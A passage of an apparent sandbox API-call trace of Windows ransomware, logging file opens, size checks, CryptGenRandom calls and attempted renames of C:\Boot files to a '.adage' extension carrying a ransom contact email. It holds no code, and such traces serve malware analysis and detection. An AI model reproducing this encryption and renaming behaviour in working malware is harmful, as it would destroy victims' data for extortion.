(lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0050.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.074] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.074] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.074] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.074] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=90192) returned 1 [0050.074] CloseHandle (hObject=0x170) returned 1 [0050.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0050.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.075] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.075] ResetEvent (hEvent=0x13c) returned 1 [0050.075] SetEvent (hEvent=0x140) returned 1 [0050.075] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.075] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.076] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=89152) returned 1 [0050.076] CloseHandle (hObject=0x170) returned 1 [0050.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0050.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.077] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.077] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) returned 0x0 [0050.084] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.084] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.084] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=3694080) returned 1 [0050.084] CloseHandle (hObject=0x170) returned 1 [0050.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0050.084] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0050.085] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0050.085] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.085] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.090] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=3876772) returned 1 [0050.090] CloseHandle (hObject=0x170) returned 1 [0050.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0050.091] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0050.091] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0050.091] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.091] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.091] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=2371360) returned 1 [0050.091] CloseHandle (hObject=0x170) returned 1 [0050.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0050.091] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0 [0050.091] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0050.092] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.092] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.092] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=47452) returned 1 [0050.092] CloseHandle (hObject=0x170) returned 1 [0050.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0050.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.092] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.092] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.092] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.095] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=93248) returned 1 [0050.095] CloseHandle (hObject=0x170) returned 1 [0050.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0050.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.095] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.096] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.096] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.096] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=90688) returned 1 [0050.096] CloseHandle (hObject=0x170) returned 1 [0050.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0050.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.096] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.096] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.096] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.096] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=90704) returned 1 [0050.097] CloseHandle (hObject=0x170) returned 1 [0050.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0050.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.097] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.097] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.097] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.097] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=76352) returned 1 [0050.097] CloseHandle (hObject=0x170) returned 1 [0050.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0050.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.097] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.098] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.098] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.098] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=75344) returned 1 [0050.098] CloseHandle (hObject=0x170) returned 1 [0050.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0050.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.098] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.098] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.098] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.115] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=497080) returned 1 [0050.115] CloseHandle (hObject=0x170) returned 1 [0050.115] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0050.118] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\memtest.exe.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.118] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.124] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.124] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.125] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=88144) returned 1 [0050.125] CloseHandle (hObject=0x170) returned 1 [0050.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0050.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.125] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.125] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.125] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.126] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=90704) returned 1 [0050.126] CloseHandle (hObject=0x170) returned 1 [0050.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0050.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.126] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.126] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.126] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.126] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=90704) returned 1 [0050.126] CloseHandle (hObject=0x170) returned 1 [0050.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0050.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.126] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.127] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.127] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.127] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=90176) returned 1 [0050.128] CloseHandle (hObject=0x174) returned 1 [0050.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0050.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.128] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.128] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.128] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.128] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=89664) returned 1 [0050.128] CloseHandle (hObject=0x174) returned 1 [0050.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0050.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.128] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.129] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.129] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.129] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=90192) returned 1 [0050.129] CloseHandle (hObject=0x174) returned 1 [0050.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0050.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.129] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.129] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x304f890 | out: pbBuffer=0x304f890) returned 1 [0050.129] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0050.130] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x304f828 | out: lpFileSize=0x304f828*=87616) returned 1 